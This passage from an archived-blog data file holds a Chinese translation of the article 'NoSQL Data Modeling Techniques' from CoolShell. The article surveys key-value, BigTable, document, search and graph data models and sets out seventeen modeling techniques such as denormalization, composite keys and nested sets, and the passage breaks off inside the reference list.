width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11973.html\">bash代码注入的安全漏洞</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6976.html\">谈谈数据安全和云存储</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-5-15 NoSQL 数据建模技术.html",
    "content": "<html><body><p>全文译自墙外文章“<a href=\"http://highlyscalable.wordpress.com/2012/03/01/nosql-data-modeling-techniques/\" target=\"_blank\">NoSQL Data Modeling Techniques</a>”，译得不好，还请见谅。这篇文章看完之后，你可能会对NoSQL的数据结构会有些感觉。我的感觉是，关系型数据库想把一致性，完整性，索引，CRUD都干好，NoSQL只干某一种事，但是牺牲了很多别的东西。总体来说，我觉得NoSQL更适合做Cache。下面是正文——</p>\n<p>NoSQL 数据库经常被用作很多非功能性的地方，如，扩展性，性能和一致性的地方。这些NoSQL的特性在理论和实践中都正在被大众广泛地研究着，研究的热点正是那些和性能分布式相关的非功能性的东西，我们都知道 <a href=\"http://en.wikipedia.org/wiki/CAP_theorem\">CAP 理论</a>被很好地应用于了 NoSQL 系统中（陈皓注：CAP即，一致性(Consistency)， 可用性(Availability)， 分区容忍性(Partition tolerance)，在分布式系统中，这三个要素最多只能同时实现两个，而NoSQL一般放弃的是一致性）。但在另一方面，NoSQL的数据建模技术却因为缺乏像关系型数据库那样的基础理论没有被世人很好地研究。这篇文章从数据建模方面对NoSQL家族进行了比较，并讨论几个常见的数据建模技术。</p>\n<p>要开始讨论数据建模技术，我们不得不或多或少地先系统地看一下NoSQL数据模型的成长的趋势，以此我们可以了解一些他们内在的联系。下图是NoSQL家族的进化图，我们可以看到这样的进化：Key-Value时代，BigTable时代，Document时代，全文搜索时代，和Graph数据库时代：（陈皓注：注意图中SQL说的那句话，NoSQL再这样发展下去就是SQL了，哈哈。）</p>\n<div id=\"attachment_310\">\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/overview2.png\"><img alt=\"\" height=\"699\" src=\"../wp-content/uploads/2012/05/overview2.png?w=594&amp;h=699\" title=\"overview\" width=\"594\"/><br/>\n</a>NoSQL Data Models</p>\n</div>\n<p>首先，我们需要注意的是SQL和关系型数据模型已存在了很长的时间，这种面向用户的自然性意味着：</p>\n<p><span id=\"more-7270\"></span></p>\n<ul>\n<li>最终用户一般更感兴趣于数据的聚合显示，而不是分离的数据，这主要通过SQL来完成。</li>\n<li>我们无法通过人手工控制数据的并发性，完整性，一致性，或是数据类型校验这些东西的。这就是为什么SQL需要在事务，二维表结构（schema）和外表联合上做很多事。</li>\n</ul>\n<p>另一方面，SQL可以让软件应用程序在很多情况下不需要关心数据库的数据聚合，和数据完整性和有效性进行控制。而如果我们去除了数据一致性，完整性这些东西，会对性能和分布存储有着重的帮助。正因为如此，我们才有数据模型的进化：</p>\n<ul>\n<li><strong>Key-Value 键值对存储</strong>是非常简单而强大的。下面的很多技术基本上都是基于这个技术开始发展的。但是，Key-Value有一个非常致命的问题，那就是如果我们需要查找一段范围内的key。（陈皓注：学过hash-table数据结构的人都应该知道，hash-table是非序列容器，其并不像数组，链接，队列这些有序容器，我们可以控制数据存储的顺序）。于是，有序键值 （Ordered Key-Value） 数据模型被设计出来解决这一限制，来从根本上提高数据集的问题。</li>\n</ul>\n<ul>\n<li><strong>Ordered Key-Value 有序键值</strong>模型也非常强大，但是，其也没有对Value提供某种数据模型。通常来说，Value的模型可以由应用负责解析和存取。这种很不方便，于是出现了 BigTable类型的数据库，这个数据模型其实就是map里有map，map里再套map，一层一层套下去，也就是层层嵌套的key-value（value里又是一个key-value），这种数据库的Value主要通过“列族”（column families），列，和时间戳来控制版本。（陈皓注：关于时间戳来对数据的版本控制主要是解决数据存储并发问题，也就是所谓的乐观锁，详见《<a href=\"https://coolshell.cn/articles/6790.html\" target=\"_blank\" title=\"多版本并发控制(MVCC)在分布式系统中的应用\">多版本并发控制(MVCC)在分布式系统中的应用</a>》）</li>\n</ul>\n<ul>\n<li><strong>Document databases 文档数据库</strong> 改进了 BigTable 模型，并提供了两个有意义的改善。第一个是允许Value中有主观的模式（scheme），而不是map套map。第二个是索引。 <strong>Full Text Search Engines 全文搜索引擎</strong>可以被看作是文档数据库的一个变种，他们可以提供灵活的可变的数据模式（scheme）以及自动索引。他们之间的不同点主要是，文档数据库用字段名做索引，而全文搜索引擎用字段值做索引。</li>\n</ul>\n<ul>\n<li><strong>Graph data models 图式数据库</strong> 可以被认为是这个进化过程中从 Ordered Key-Value 数据库发展过来的一个分支。图式数据库允许构建议图结构的数据模型。它和文档数据库有关系的原因是，它的很多实现允许value可以是一个map或是一个document。</li>\n</ul>\n<h4> NoSQL 数据模型摘要</h4>\n<p>本文剩下的章节将向你介绍数据建模的技术实现和相关模式。但是，在介绍这些技术之前，先来一段序言：</p>\n<ul>\n<li>NoSQL 数据模型设计一般从业务应用的具体数据查询入手，而不是数据间的关系：</li>\n<ul>\n<li>关系型的数据模型基本上是分析数据间的结构和关系。其设计理念是： ”<strong>What answers do I have?”</strong><em> </em></li>\n<li>NoSQL 数据模型基本上是从应用对数据的存取方式入手，如：我需要支持某种数据查询。其设计理念是<strong> ”What questions do I have?”</strong></li>\n</ul>\n</ul>\n<ul>\n<li>NoSQL 数据模型设计比关系型数据库需要对数据结构和算法的更深的了解。在这篇文章中我会和大家说那些尽人皆知的数据结构，这些数据结构并不只是被NoSQL使用，但是对于NoSQL的数据模型却非常有帮助。</li>\n</ul>\n<ul>\n<li>数据冗余和反规格化是一等公民。</li>\n</ul>\n<ul>\n<li>关系型数据库对于处理层级数据和图式数据非常的不方便。NoSQL用来解决图式数据明显是一个非常好的解决方案，几乎所有的NoSQL数据库可以很强地解决此类问题。这就是为什么这篇文章专门拿出一章来说明层级数据模型。</li>\n</ul>\n<div>下面是NoSQL的分类表，也是我用来写这篇文章时做实践的产品：</div>\n<div>\n<ul>\n<li>Key-Value 存储: Oracle Coherence, Redis, Kyoto Cabinet</li>\n<li>类BigTable存储: Apache HBase, Apache Cassandra</li>\n<li>文档数据库: MongoDB, CouchDB</li>\n<li>全文索引: Apache Lucene, Apache Solr</li>\n<li>图数据库: neo4j, FlockDB</li>\n</ul>\n</div>\n<h4>概念技术 Conceptual Techniques</h4>\n<p>这一节主要介绍NoSQL数据模型的基本原则。</p>\n<h5>(1) 反规格化 Denormalization</h5>\n<p>反规格化 Denormalization 可以被认为是把相同的数据拷贝到不同的文档或是表中，这样就可以简化和优化查询，或是正好适合用户的某中特别的数据模型。这篇文章中所说的绝大多数技术都或多或少地导向了这一技术。</p>\n<p>总体来说，反规格化需要权衡下面这些东西：</p>\n<ul>\n<li><strong><em>查询数据量 /查询IO </em></strong> VS  <strong><em>总数据量</em></strong>。使用反规格化，一方面可以把一条查询语句所需要的所有数据组合起来放到一个地方存储。这意味着，其它不同不同查询所需要的相同的数据，需要放在别不同的地方。因此，这产生了很多冗余的数据，从而导致了数据量的增大。</li>\n</ul>\n<ul>\n<li><strong><em>处理复杂度 </em></strong> VS <strong><em>总数据量</em></strong>. 在符合范式的数据模式上进行表连接的查询，很显然会增加了查询处理的复杂度，尤其对于分布式系统来说更是。反规格化的数据模型允许我们以方便查询的方式来存构造数据结构以简化查询复杂度。</li>\n</ul>\n<p><strong>适用性</strong>: Key-Value Store 键值对数据库， Document Databases文档数据库， BigTable风格的数据库。</p>\n<h5>(2) 聚合 Aggregates</h5>\n<p>所有类型的NoSQL数据库都会提供灵活的Schema（数据结构，对数据格式的限制）：</p>\n<ul>\n<li>Key-Value Stores 和 Graph Databases 基本上来说不会Value的形式，所以Value可以是任意格式。这样一来，这使得我们可以任意组合一个业务实体的keys。比如，我们有一个用户帐号的业务实体，其可以被如下这些key组合起来： <em>UserID_name, UserID_email, UserID_messages</em> 等等。如果一个用户没有email或message，那么相应也不会有这样的记录。</li>\n</ul>\n<ul>\n<li>BigTable 模型通过列集合来支持灵活的Schema，我们称之为列族（<em>column family</em>）。BigTable还可以在同一记录上出现不同的版本（通过时间戳）。</li>\n</ul>\n<ul>\n<li>Document databases 文档数据库是一种层级式的“去Schema”的存储，虽然有些这样的数据库允许检验需要保存的数据是否满足某种Schema。</li>\n</ul>\n<p>灵活的Schema允许你可以用一种嵌套式的内部数据方式来存储一组有关联的业务实体（陈皓注：类似于JSON这样的数据封装格式）。这样可以为我们带来两个好处。</p>\n<ul>\n<li>最小化“一对多”关系——可以通过嵌套式的方式来存储实体，这样可以少一些表联结。</li>\n</ul>\n<ul>\n<li>可以让内部技术上的数据存储更接近于业务实体，特别是那种混合式的业务实体。可能存于一个文档集或是一张表中。</li>\n</ul>\n<div>下图示意了这两种好处。图中描给了电子商务中的商品模型（陈皓注：我记得我在“<a href=\"https://coolshell.cn/articles/7048.html\" target=\"_blank\" title=\"挑战无处不在\">挑战无处不在</a>”一文中说到过电商中产品分类数据库设计的挑战）</div>\n<div>\n<ul>\n<li>首先，所有的商品Product都会有一个ID，Price 和 Description。</li>\n</ul>\n<ul>\n<li>然后，我们可以知道不同的类型的商品会有不同的属性。比如，作者是书的属性，长度是牛仔裤的属性。其些属性可能是“一对多”或是“多对多”的关系，如：唱片中的曲目。</li>\n</ul>\n<ul>\n<li>接下来，我们知道，某些业务实体不可能使用固定的类型。如：牛仔裤的属性并不是所有的牌子都有的，而且，有些名牌还会搞非常特别的属性。</li>\n</ul>\n<p>对于关系型数据库来说，要设计这样的数据模型并不简单，而且设计出来的绝对离优雅很远很远。而我们NoSQL中灵活的Schema允许你使用一个聚合 Aggregate (product) 可以建出所有不同种类的商品和他们的不同的属性：</p>\n</div>\n<div>\n<div id=\"attachment_404\">\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/soft-schema2.png\"><img alt=\"\" class=\"aligncenter\" height=\"439\" src=\"../wp-content/uploads/2012/05/soft-schema2.png?w=594&amp;h=439\" title=\"soft-schema\" width=\"594\"/></a></p>\n<p style=\"text-align: center;\">Entity Aggregation</p>\n</div>\n</div>\n<div>\n<p>上图中我们可以比较关系型数据库和NoSQL的差别。<strong>但是我们可以看到在数据更新上，非规格化的数据存储在性能和一致性上会有很大的影响，这就是我们需要重点注意和不得不牺牲的地方</strong>。</p>\n</div>\n<p><strong>适用性</strong>: Key-Value Store 键值对数据库， Document Databases文档数据库， BigTable风格的数据库。</p>\n<h5>(3) 应用层联结 Application Side Joins</h5>\n<p>表联结基本上不被NoSQL支持。正如我们前面所说的，NoSQL是“面向问题”而不是“面向答案”的，不支持表联结就是“面向问题”的后果。表的联结是在设计时被构造出来的，而不是在执行时建造出来的。所以，表联结在运行时是有很大开销的（陈皓注：搞过SQL表联结的都知道笛卡尔积是什么东西，大可以在参看以前酷壳的“<a href=\"https://coolshell.cn/articles/3463.html\" target=\"_blank\" title=\"图解SQL的Join\">图解数据库表Joins</a>”），但是在使用了 Denormalization 和 Aggregates 技术后，我们基本不用进行表联结，如：你们使用嵌套式的数据实体。当然，如果你需要联结数据，你需要在应用层完成这个事。下面是几个主要的Use Case：</p>\n<ul>\n<li>多对多的数据实体关系——经常需要被连接或联结。</li>\n</ul>\n<ul>\n<li>聚合 Aggregates 并不适用于数据字段经常被改变的情况。对此，我们需要把那些经常被改变的字段分到另外的表中，而在查询时我们需要联结数据。例如，我们有个Message系统可以有一个User实体，其包括了一个内嵌的Message实体。但是，如果用户不断在附加 message，那么，最好把message拆分到另一个独立的实体，但在查询时联结这User和Message这两个实体。如下图：</li>\n</ul>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/aggregates-joins.png\"><img alt=\"\" class=\"aligncenter\" src=\"../wp-content/uploads/2012/05/aggregates-joins.png?w=594\" title=\"aggregates-joins\"/></a></p>\n<p><strong>适用性</strong>: Key-Value Store 键值对数据库， Document Databases文档数据库， BigTable风格的数据库， Graph Databases 图数据库。</p>\n<h4>通用建模技术 General Modeling Techniques</h4>\n<p>在本书中，我们将讨论NoSQL中各种不同的通用的数据建模技术。</p>\n<h5>(4) 原子聚合 Atomic Aggregates</h5>\n<p>很多NoSQL的数据库（并不是所有）在事务处理上都是短板。在某些情况下，他们可以通过分布式锁技术或是<a href=\"http://highlyscalable.wordpress.com/2012/01/07/mvcc-transactions-key-value/\" target=\"_blank\" title=\"Implementation of MVCC Transactions for Key-Value Stores\">应用层管理的MVCC技术</a>来实现其事务性（陈皓注：可参看本站的“<a href=\"https://coolshell.cn/articles/6790.html\" title=\"多版本并发控制(MVCC)在分布式系统中的应用\">多版本并发控制(MVCC)在分布式系统中的应用</a>”）但是，通常来说只能使用聚合Aggregates技术来保证一些ACID原则。</p>\n<p>这就是为什么我们的关系型数据库需要有强大的事务处理机制——因为关系型数据库的数据是被规格化存放在了不同的地方。所以，Aggregates聚合允许我们把一个业务实体存成一个文档、存成一行，存成一个key-value，这样就可以原子式的更新了：</p>\n<div id=\"attachment_409\">\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/atomic-aggregate1.png\"><img alt=\"\" class=\"aligncenter\" src=\"../wp-content/uploads/2012/05/atomic-aggregate1.png?w=594\" title=\"atomic-aggregate\"/><br/>\n</a>Atomic Aggregates</p>\n</div>\n<p>当然，原子聚合 Atomic Aggregates 这种数据模型并不能实现完全意义上的事务处理，但是如果支持原子性，锁，或 test-and-set 指令，那么， Atomic Aggregates 是可以适用的。</p>\n<p><strong><strong>适用性</strong>: </strong>Key-Value Store 键值对数据库， Document Databases文档数据库， BigTable风格的数据库。</p>\n<h5>(5) 可枚举键 Enumerable Keys</h5>\n<p>也许，对于无顺序的Key-Value最大的好处是业务实体可以被容易地hash以分区在多个服务器上。而排序了的key会把事情搞复杂，但是有些时候，一个应用能从排序key中获得很多好处，就算是数据库本身不提供这个功能。让我们来思考下email消息的数据模型：</p>\n<ol>\n<li>一些NoSQL的数据库提供原子计数器以允许生一些连续的ID。在这种情况下，我们可以使用 <em>userID_messageID</em> 来做为一个组合key。如果我们知道最新的message ID，就可以知道前一个message，也可能知道再前面和后面的Message。</li>\n<li>Messages可以被打包。比如，每天的邮件包。这样，我们就可以对邮件按指定的时间段来遍历。</li>\n</ol>\n<p><strong><strong><strong>适用性</strong>: </strong></strong>Key-Value Store 键值对数据库<strong>。</strong></p>\n<h5>(6) 降维 Dimensionality Reduction</h5>\n<p>Dimensionality Reduction 降维是一种技术可以允许把一个多维的数据映射成一个Key-Value或是其它非多给的数据模型。</p>\n<p>传统的地理位置信息系统使用一些如“四分树<a href=\"http://en.wikipedia.org/wiki/Quadtree\" target=\"_blank\">QuadTree</a>” 或 “<a href=\"http://en.wikipedia.org/wiki/R-tree\" target=\"_blank\">R-Tree</a>” 来做地理位置索引。这些数据结构的内容需要被在适当的位置更新，并且，如果数据量很大的话，操作成本会很高。另一个方法是我们可以遍历一个二维的数据结构并把其扁平化成一个列表。一个众所周知的例子是<a href=\"http://en.wikipedia.org/wiki/Geohash\" target=\"_blank\">Geohash</a>（地理哈希）。一个Geohash使用“之字形”的路线扫描一个2维的空间，而且遍历中的移动可以被简单地用0和1来表示其方向，然后在移动的过程中产生0/1串。下图展示了这一算法：（陈皓注：先把地图分成四份，经度为第一位，纬度为第二位，于是左边的经度是0，右边的是1，纬度也一样，上面是为1，下面的为0，这样，经纬度就可以组合成01，11，00，10这四个值，其标识了四块区域，我们可以如此不断的递归地对每个区域进行四分，然后可以得到一串1和0组成的字串，然后使用0-9，b-z 去掉（去掉a, i, l, o）这32个字母进行base32编码得到一个8个长度的编码，这就是Geohash的算法）</p>\n<div id=\"attachment_398\">\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/geohash-traversal1.png\"><img alt=\"\" src=\"../wp-content/uploads/2012/05/geohash-traversal1.png?w=594\" title=\"geohash-traversal\"/><br/>\n</a>Geohash Index</p>\n</div>\n<p>Geohash的最强大的功能是使用简单的位操作就可以知道两个区域间的距离，就像图中所示（陈皓：proximity框着的那两个，这个很像IP地址了）。Geohash把一个二维的坐标生生地变成了一个一维的数据模型，这就是降维技术。BigTable的降维技术参看到文章后面的 [6.1]。更多的关于Geohash和其它技术可以参看 [6.2] 和 [6.3]。</p>\n<p><strong><strong><strong>适用性</strong>:</strong></strong> Key-Value Store 键值对数据库， Document Databases文档数据库， BigTable风格的数据库。</p>\n<h5>(7) 索引表 Index Table</h5>\n<p>Index Table 索引表是一个非常直白的技术，其可以你在不支持索引的数据库中得到索引的好处。BigTable是这类最重要的数据库。这需要我们维护一个有相应存取模式的特别表。例如，我们有一个主表存着用户帐号，其可以被UserID存取。某查询需要查出某个城市里所有的用户，于是我们可以加入一张表，这张表用城市做主键，所有和这个城市相关的UserID是其Value，如下所示：</p>\n<div id=\"attachment_399\">\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/index-table.png\"><img alt=\"\" src=\"../wp-content/uploads/2012/05/index-table.png?w=594\" title=\"index-table\"/><br/>\n</a>Index Table Example</p>\n</div>\n<p>可见，城市索引表的需要和对主表用户表保持一致性，因此，主表的每一个更新可能需要对索引表进行更新，不然就是一个批处理更新。无论哪个方式，这都会损伤一些性能，因为需要保持一致性。</p>\n<p>Index Table 索引表可以被认为是关系型数据库中的视图的等价物。</p>\n<p><strong>适用性</strong>: BigTable 数据库。</p>\n<h5>(8) 键组合索引 Composite Key Index</h5>\n<p>Composite key 键组合是一个很常用的技术，对此，当我们的数据库支持键排序时能得到极大的好处。Composite key组合键的拼接成为第二排序字段可以让你构建出一种多维索引，这很像我们之前说过的 Dimensionality Reduction 降维技术。例如，我们需要存取用户统计。如果我们需要根据不同的地区来统计用户的分布情况，我们可以把Key设计成这样的格式 <em>(State:City:UserID)</em>，这样一来，就使得我们可以通过State到City来按组遍历用户，特别是我们的NoSQL数据库支持在key上按区查询（如：BigTable类的系统）：</p>\n<pre class=\"EnlighterJSRAW\">SELECT Values WHERE state=\"CA:*\"\nSELECT Values WHERE city=\"CA:San Francisco*\"</pre>\n<div id=\"attachment_477\">\n<p style=\"text-align: center;\"><a href=\"http://highlyscalable.files.wordpress.com/2012/03/composite-key-index.png\"><img alt=\"\" src=\"http://highlyscalable.files.wordpress.com/2012/03/composite-key-index.png?w=594\" title=\"composite-key-index\"/><br/>\n</a>Composite Key Index</p>\n</div>\n<p><strong><strong>适用性</strong>: </strong>BigTable 数据库。</p>\n<h5>(9) 键组合聚合 Aggregation with Composite Keys</h5>\n<p>Composite keys  键组合技术并不仅仅可以用来做索引，同样可以用来区分不用的类型的数据以支持数据分组。考虑一个例子，我们有一个海量的日志数组，这个日志记录了互联网上的用户的访问来源。我们需要计算从某一网站过来的独立访客的数量，在关系型数据库中，我们可能需要下面这样的SQL查询语句：</p>\n<p><code class=\"EnlighterJSRAW\">SELECT count(distinct(user_id)) FROM clicks GROUP BY site</code></p>\n<p>我们可以在NoSQL中建立如下的数据模型：</p>\n<div id=\"attachment_383\">\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/composite-key-collating1.png\"><img alt=\"\" src=\"../wp-content/uploads/2012/05/composite-key-collating1.png?w=594\" title=\"composite-key-collating\"/><br/>\n</a>Counting Unique Users using Composite Keys</p>\n</div>\n<p>这样，我们就可以把数据按UserID来排序，我们就可以很容易把同一个用户的数据（一个用户并不会产生太多的event）进行处理，去掉那些重复的站点（使用hash table或是别的什么）。另一个可选的技术是，我们可以对每一个用户建立一个数据实体，然后把其站点来源追加到这个数据实体中，当然，这样一来，数据的更新在性能相比之下会有一定损失。</p>\n<p><strong><strong>适用性</strong>:</strong> Ordered Key-Value Store 排序键值对数据库， BigTable风格的数据库。</p>\n<p><strong><br/>\n</strong></p>\n<h5>(10) 反转搜索 Inverted Search – 直接聚合 Direct Aggregation</h5>\n<p>这个技术更多的是数据处理技术，而不是数据建模技术。尽管如此，这个技术还是会影响数据模型。这个技术最主要的想法是使用一个索引来找到满足某条件的数据，但是把数据聚合起需要使用全文搜索。还是让我们来说一个示例。还是用上面那个例子，我们有很多的日志，其中包括互联网用户和他们的访问来源。让我们假定每条记录都有一个UserID，还有用户的种类 (Men, Women, Bloggers, 等)，以及用户所在的城市，和访问过的站点。我们要干的事是，为每个用户种类找到满足某些条件（访问源，所在城市，等）的的独立用户。</p>\n<p>很明显，我们需要搜索那些满足条件的用户，如果我们使用反转搜索，这会让我们把这事干得很容易，如： <em>{Category -&gt; [user IDs]}</em> 或 <em>{Site -&gt; [user IDs]}</em>。使用这样的索引， 我们可以取两个或多个UserID要的交集或并集（这个事很容易干，而且可以干得很快，如果这些UserID是排好序的）。但是，我们要按用户种类来生成报表会变得有点麻烦，因为我们用语句可能会像下面这样</p>\n<p><code class=\"EnlighterJSRAW\">SELECT count(distinct(user_id)) ... GROUP BY category</code></p>\n<p>但这样的SQL很没有效率，因为category数据太多了。为了应对这个问题，我们可以建立一个直接索引 <em>{UserID -&gt; [Categories]}</em> 然后我们用它来生成报表：</p>\n<div id=\"attachment_388\">\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/invert-direct1.png\"><img alt=\"\" height=\"438\" src=\"../wp-content/uploads/2012/05/invert-direct1.png?w=594&amp;h=438\" title=\"invert-direct\" width=\"594\"/><br/>\n</a>Counting Unique Users using Inverse and Direct Indexes</p>\n</div>\n<p>最后，我们需要明白，对每个UserID的随机查询是很没有效率的。我们可以通过批查询处理来解决这个问题。这意味着，对于一些用户集，我们可以进行预处理（不同的查询条件）。</p>\n<p><strong>适用性</strong>: Key-Value Store 键值对数据库， Document Databases文档数据库， BigTable风格的数据库。</p>\n<h4>层级式模型 Hierarchy Modeling Techniques</h4>\n<h5>(11) 树形聚合Tree Aggregation</h5>\n<p>树形或是任意的图（需反规格化）可以被直接打成一条记录或文档存放。</p>\n<ul>\n<li>当树形结构被一次性取出时这会非常有效率（如：我们需要展示一个blog的树形评论）</li>\n<li>搜索和任何存取这个实体都会存在问题。</li>\n<li>对于大多数NoSQL的实现来说，更新数据都是很不经济的（相比起独立结点来说）</li>\n</ul>\n<div id=\"attachment_381\">\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/tree-aggregation.png\"><img alt=\"\" src=\"../wp-content/uploads/2012/05/tree-aggregation.png?w=594\" title=\"tree-aggregation\"/><br/>\n</a>Tree Aggregation</p>\n</div>\n<p><strong>适用性</strong>: Key-Value 键值对数据库, Document Databases 文档数据库</p>\n<h5>(12) 邻接列表 Adjacency Lists</h5>\n<p>Adjacency Lists 邻接列表是一种图 – 每一个结点都是一个独立的记录，其包含了 所有的父结点或子结点。这样，我们就可以通过给定的父或子结点来进行搜索。当然，我们需要通过hop查询遍历图。这个技术在广度和深度查询，以及得到某个结点的子树上没有效率。</p>\n<p><strong>适用性</strong>: Key-Value 键值对数据库, Document Databases 文档数据库</p>\n<p><strong><br/>\n</strong></p>\n<h5>(13) Materialized Paths</h5>\n<p>Materialized Paths 可以帮助避免递归遍历（如：树形结构）。这个技术也可以被认为是反规格化的一种变种。其想法是为每个结点加上父结点或子结点的标识属性，这样就可以不需要遍历就知道所有的后裔结点和祖先结点了：</p>\n<div id=\"attachment_372\">\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/materialized-paths2.png\"><img alt=\"\" src=\"../wp-content/uploads/2012/05/materialized-paths2.png?w=594\" title=\"materialized-paths\"/><br/>\n</a>Materialized Paths for eShop Category Hierarchy</p>\n</div>\n<p>这个技术对于全文搜索引擎来说非常有帮助，因为其可以允许把一个层级结构转成一个文档。上面的示图中我们可以看到所有的商品或<em>Men’s Shoes</em>下的子分类可以被一条很短的查询语句处理——只需要给定个分类名。</p>\n<p>Materialized Paths 可以存储一个ID的集合，或是一堆ID拼出的字符串。后者允许你通过一个正则表达式来搜索一个特定的分支路径。下图展示了这个技术（分支的路径包括了结点本身）：</p>\n<div id=\"attachment_377\">\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/materialized-paths-2.png\"><img alt=\"\" src=\"../wp-content/uploads/2012/05/materialized-paths-2.png?w=594\" title=\"materialized-paths-2\"/><br/>\n</a>Query Materialized Paths using RegExp</p>\n</div>\n<p><strong>适用性</strong>: Key-Value 键值对数据库, Document Databases 文档数据, Search Engines 搜索引擎</p>\n<h5>(14) 嵌套集 Nested Sets</h5>\n<p><a href=\"http://en.wikipedia.org/wiki/Nested_set_model\">Nested sets</a> 嵌套集是树形结构的标准技术。它被广泛地用在了关系性数据库中，它完全地适用于 Key-Value 键值对数据库 和 Document Databases 文档数据库。这个技术的想法是把叶子结点存储成一个数组，并通过使用索引的开始和结束来映射每一个非叶子结点到一个叶子结点集，就如下图所示一样：</p>\n<div id=\"attachment_360\">\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/nested-sets.png\"><img alt=\"\" src=\"../wp-content/uploads/2012/05/nested-sets.png?w=594\" title=\"nested-sets\"/><br/>\n</a>Modeling of eCommerce Catalog using Nested Sets</p>\n</div>\n<p>这样的数据结构对于immutable data不变的数据 有非常不错的效率，因为其点内存空间小，并且可以很快地找出所有的叶子结点而不需要树的遍历。尽管如此，在插入和更新上需要很高的性能成本，因为新的叶子结点需要大规模地更新索引。</p>\n<p><strong>适用性</strong>: Key-Value Stores 键值数据库, Document Databases 文档数据库</p>\n<h4>(15) 嵌套文档扁平化：有限的字段名 Nested Documents Flattening: Numbered Field Names</h4>\n<p>搜索引擎基本上来说和扁平文档一同工作，如：每一个文档是一个扁平的字段和值的例表。这种数据模型的用来把业务实体映射到一个文本文档上，如果你的业务实体有很复杂的内部结构，这可能会变得很有挑战。一个典型的挑战是把一个有层级的文档映映射出来。例如，文档中嵌套另一个文档。让我们看看下面的示例：</p>\n<div id=\"attachment_363\">\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/nested-documents-1.png\"><img alt=\"\" src=\"../wp-content/uploads/2012/05/nested-documents-1.png?w=594\" title=\"nested-documents-1\"/><br/>\n</a>Nested Documents Problem</p>\n</div>\n<p>上面的每一个业务实体代码一种简历。其包括了人名和一个技能列表。我把这个层级文档映射成一个文本文档，一种方法是创建 <em>Skill</em> 和 <em>Level</em> 字段。这个模型可以通过技术或是等级来搜索一个人，而上图标注的那样的组合查询则会失败。（陈皓注：因为分不清Excellent是否是Math还是Poetry上的）</p>\n<p>在引用中的 [4.6] 给出了一种解决方案。其为每个字段都标上数字 <em>Skill_i</em> 和 <em>Level_i</em>，这样就可以分开搜索每一个对（下图中使用了OR来遍历查找所有可能的字段）:</p>\n<div id=\"attachment_365\">\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/nested-documents-3.png\"><img alt=\"\" src=\"../wp-content/uploads/2012/05/nested-documents-3.png?w=594\" title=\"nested-documents-3\"/><br/>\n</a>Nested Document Modeling using Numbered Field Names</p>\n</div>\n<p>这样的方式根本没有扩展性，对于一些复杂的问题来说只会让代码复杂度和维护工作变大。</p>\n<p><strong>适用性</strong>: Search Engines 全文搜索</p>\n<h5>(16)嵌套文档扁平化：邻近查询 Nested Documents Flattening: Proximity Queries</h5>\n<p>在附录 [4.6]中给出了这个技术用来解决扁平层次文档。它用邻近的查询来限制可被查询的单词的范围。下图中，所有的技能和等级被放在一个字段中，叫 SkillAndLevel，查询中出现的 “Excellent” 和 “Poetry” 必需一个紧跟另一个：</p>\n<div id=\"attachment_364\">\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/nested-documents-2.png\"><img alt=\"\" src=\"../wp-content/uploads/2012/05/nested-documents-2.png?w=594\" title=\"nested-documents-2\"/><br/>\n</a>Nested Document Modeling using Proximity Queries</p>\n</div>\n<p>附录 [4.3] 中讲述了这个技术被用在Solr中的一个成功案例。</p>\n<p><strong>适用性</strong>: Search Engines 全文搜索</p>\n<h5>(17) 图结构批处理 Batch Graph Processing</h5>\n<p>Graph databases 图数据库，如 neo4j 是一个出众的图数据库，尤其是使用一个结点来探索邻居结点，或是探索两个或少量结点前的关系。但是处理大量的图数据是很没有效率的，因为图数据库的性能和扩展性并不是其目的。分布式的图数据处理可以被 MapReduce 和 Message Passing pattern 来处理。如： <a href=\"http://highlyscalable.wordpress.com/2012/02/01/mapreduce-patterns/\" title=\"MapReduce Patterns, Algorithms, and Use Cases\">在我前一篇的文章中的那个示例</a>。这个方法可以让 Key-Value stores, Document databases, 和 BigTable-style databases 适合于处理大图。</p>\n<p><strong>Applicability</strong>: Key-Value Stores, Document Databases, BigTable-style Databases</p>\n<h4>参考</h4>\n<p>Finally, I provide a list of useful links related to NoSQL data modeling:</p>\n<ol>\n<li>Key-Value Stores:\n<ol>\n<li><a href=\"http://www.devshed.com/c/a/MySQL/Database-Design-Using-KeyValue-Tables/\">http://www.devshed.com/c/a/MySQL/Database-Design-Using-KeyValue-Tables/</a></li>\n<li><a href=\"http://antirez.com/post/Sorting-in-key-value-data-model.html\">http://antirez.com/post/Sorting-in-key-value-data-model.htm</a>l</li>\n<li><a href=\"http://stackoverflow.com/questions/3554169/difference-between-document-based-and-key-value-based-databases\">http://stackoverflow.com/questions/3554169/difference-between-document-based-and-key-value-based-databases</a></li>\n<li><a href=\"http://dbmsmusings.blogspot.com/2010/03/distinguishing-two-major-types-of_29.html\">http://dbmsmusings.blogspot.com/2010/03/distinguishing-two-major-types-of_29.html</a></li>\n</ol>\n</li>\n<li>BigTable-style Databases:\n<ol>\n<li><a href=\"http://www.slideshare.net/ebenhewitt/cassandra-datamodel-4985524\">http://www.slideshare.net/ebenhewitt/cassandra-datamodel-4985524</a></li>\n<li><a 